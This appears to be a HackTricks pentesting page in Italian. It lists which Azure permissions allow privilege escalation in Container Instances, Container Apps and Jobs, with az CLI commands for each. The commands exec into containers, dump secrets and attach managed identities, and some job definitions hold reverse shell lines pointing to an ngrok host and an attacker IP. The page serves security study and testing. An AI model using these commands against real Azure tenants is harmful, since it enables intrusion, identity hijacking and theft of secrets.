# Az - Azure Container Instances, Apps & Jobs Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Azure Container Instances, Apps & Jobs

Per ulteriori informazioni controlla:

{{#ref}}
../az-services/az-container-instances-apps-jobs.md
{{#endref}}

## ACI

### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`

Questi permessi consentono all'utente di **eseguire un comando** in un container in esecuzione. Questo può essere utilizzato per **escalare i privilegi** nel container se ha un'identità gestita allegata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata all'interno del container.

Ottenere una shell è semplice come:
```bash
az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'
```
È anche possibile **leggere l'output** del container con:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Oppure ottieni i log con:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Queste autorizzazioni consentono di **allegare un'identità gestita dall'utente** a un gruppo di contenitori. Questo è molto utile per elevare i privilegi nel contenitore.

Per allegare un'identità gestita dall'utente a un gruppo di contenitori:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Queste autorizzazioni consentono di **creare o aggiornare un gruppo di contenitori** con un **identità gestita dall'utente** ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore.
```bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
Inoltre, è possibile aggiornare un gruppo di contenitori esistente aggiungendo ad esempio l'argomento **`--command-line`** con una reverse shell.

## ACA

### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`

Queste autorizzazioni consentono all'utente di **ottenere una shell** in un contenitore di applicazione in esecuzione. Questo può essere utilizzato per **escalare i privilegi** nel contenitore se ha un'identità gestita associata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata all'interno del contenitore.
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

```
### `Microsoft.App/containerApps/listSecrets/action`

Questo permesso consente di ottenere il **testo in chiaro dei segreti** configurati all'interno di un'app container. Si noti che i segreti possono essere configurati con il testo in chiaro o con un link a un key vault (in tal caso l'app avrà assegnata un'identità gestita con accesso ai segreti).
```bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Queste autorizzazioni consentono di **allegare un'identità gestita dall'utente** a un'app container. Questo è molto utile per elevare i privilegi nel container. Eseguire questa azione dall'az cli richiede anche l'autorizzazione `Microsoft.App/containerApps/listSecrets/action`.

Per allegare un'identità gestita dall'utente a un gruppo di container:
```bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`

Queste autorizzazioni consentono di **creare o aggiornare un contenitore di applicazione** con un **identità gestita dall'utente** ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore.
```bash
# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
```
> [!TIP]
> Nota che con queste autorizzazioni **altre configurazioni dell'app** possono essere modificate, il che potrebbe consentire di eseguire altre attacchi di privesc e post exploitation a seconda della configurazione delle app esistenti.

## Jobs

### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`

Sebbene i job non siano a lungo termine come le app container, puoi sfruttare la possibilità di sovrascrivere la configurazione del comando del job all'avvio di un'esecuzione. Creando un modello di job personalizzato (ad esempio, sostituendo il comando predefinito con una reverse shell), puoi ottenere accesso alla shell all'interno del container che esegue il job.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`

Se hai questi permessi, puoi elencare tutti i segreti (primo permesso) all'interno di un contenitore Job e poi leggere i valori dei segreti configurati.
```bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`

Se hai il permesso di modificare la configurazione di un lavoro, puoi allegare un'identità gestita assegnata dall'utente. Questa identità potrebbe avere privilegi aggiuntivi (ad esempio, accesso ad altre risorse o segreti) che possono essere sfruttati per elevare i privilegi all'interno del contenitore.
```bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Se puoi creare un nuovo Container Apps Job (o aggiornare uno esistente) e allegare un'identità gestita, puoi progettare il lavoro per eseguire un payload che escalda i privilegi. Ad esempio, potresti creare un nuovo lavoro che non solo esegue una reverse shell ma utilizza anche le credenziali dell'identità gestita per richiedere token o accedere ad altre risorse.
```bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
```
> [!TIP]
> Questo comando genererà un errore se non hai il permesso `Microsoft.App/jobs/read`, anche se il Job verrà creato.

### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`

Sembra che con questi permessi dovrebbe essere possibile avviare un job. Questo potrebbe essere utilizzato per avviare un job con una reverse shell o qualsiasi altro comando malevolo senza dover modificare la configurazione del job.

Non sono riuscito a farlo funzionare, ma secondo i parametri consentiti dovrebbe essere possibile.

### Microsoft.ContainerInstance/containerGroups/restart/action

Consente di riavviare un gruppo di contenitori specifico all'interno di Azure Container Instances.
```bash
az container restart --resource-group <resource-group> --name <container-instances>
```
{{#include ../../../banners/hacktricks-training.md}}
